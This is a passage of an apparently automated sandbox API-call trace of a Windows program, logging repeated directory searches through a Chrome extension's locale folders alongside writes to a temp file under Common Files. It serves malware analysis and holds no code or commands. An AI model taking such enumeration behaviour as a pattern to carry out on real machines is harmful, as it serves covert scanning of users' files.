lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.796] GetFileType (hFile=0x128) returned 0x1 [0140.796] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.846] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.846] GetLastError () returned 0x12 [0140.846] AreFileApisANSI () returned 1 [0140.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.846] GetFileType (hFile=0x128) returned 0x1 [0140.846] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.846] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.846] GetLastError () returned 0x12 [0140.846] AreFileApisANSI () returned 1 [0140.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.847] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.847] GetFileType (hFile=0x128) returned 0x1 [0140.847] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.968] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.968] GetLastError () returned 0x12 [0140.968] AreFileApisANSI () returned 1 [0140.968] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.968] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.968] GetFileType (hFile=0x128) returned 0x1 [0140.969] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.045] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.045] GetLastError () returned 0x12 [0141.045] AreFileApisANSI () returned 1 [0141.045] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.045] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.045] GetFileType (hFile=0x128) returned 0x1 [0141.045] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.046] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.046] GetLastError () returned 0x12 [0141.046] AreFileApisANSI () returned 1 [0141.046] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.046] GetFileType (hFile=0x128) returned 0x1 [0141.046] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.155] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.155] GetLastError () returned 0x12 [0141.155] AreFileApisANSI () returned 1 [0141.155] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.155] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.155] GetFileType (hFile=0x128) returned 0x1 [0141.156] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.156] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.156] GetLastError () returned 0x12 [0141.156] AreFileApisANSI () returned 1 [0141.156] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.156] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.157] GetFileType (hFile=0x128) returned 0x1 [0141.157] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.198] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.198] GetLastError () returned 0x12 [0141.198] AreFileApisANSI () returned 1 [0141.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.198] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.198] GetFileType (hFile=0x128) returned 0x1 [0141.198] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.199] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.199] GetLastError () returned 0x12 [0141.199] AreFileApisANSI () returned 1 [0141.199] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.199] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.199] GetFileType (hFile=0x128) returned 0x1 [0141.199] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.267] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.267] GetLastError () returned 0x12 [0141.267] AreFileApisANSI () returned 1 [0141.267] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.267] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.267] GetFileType (hFile=0x128) returned 0x1 [0141.267] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.268] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.268] GetLastError () returned 0x12 [0141.268] AreFileApisANSI () returned 1 [0141.268] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.268] GetFileType (hFile=0x128) returned 0x1 [0141.268] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.310] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.310] GetLastError () returned 0x12 [0141.310] AreFileApisANSI () returned 1 [0141.310] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.311] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.311] GetFileType (hFile=0x128) returned 0x1 [0141.311] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.311] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.311] GetLastError () returned 0x12 [0141.311] AreFileApisANSI () returned 1 [0141.311] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.311] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.312] GetFileType (hFile=0x128) returned 0x1 [0141.312] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.357] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.357] GetLastError () returned 0x12 [0141.357] AreFileApisANSI () returned 1 [0141.357] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.357] GetFileType (hFile=0x128) returned 0x1 [0141.357] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.358] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.358] GetLastError () returned 0x12 [0141.358] AreFileApisANSI () returned 1 [0141.358] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.358] GetFileType (hFile=0x128) returned 0x1 [0141.358] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.403] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.404] GetLastError () returned 0x12 [0141.404] AreFileApisANSI () returned 1 [0141.404] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.404] GetFileType (hFile=0x128) returned 0x1 [0141.404] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.404] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.404] GetLastError () returned 0x12 [0141.404] AreFileApisANSI () returned 1 [0141.404] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.405] GetFileType (hFile=0x128) returned 0x1 [0141.405] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 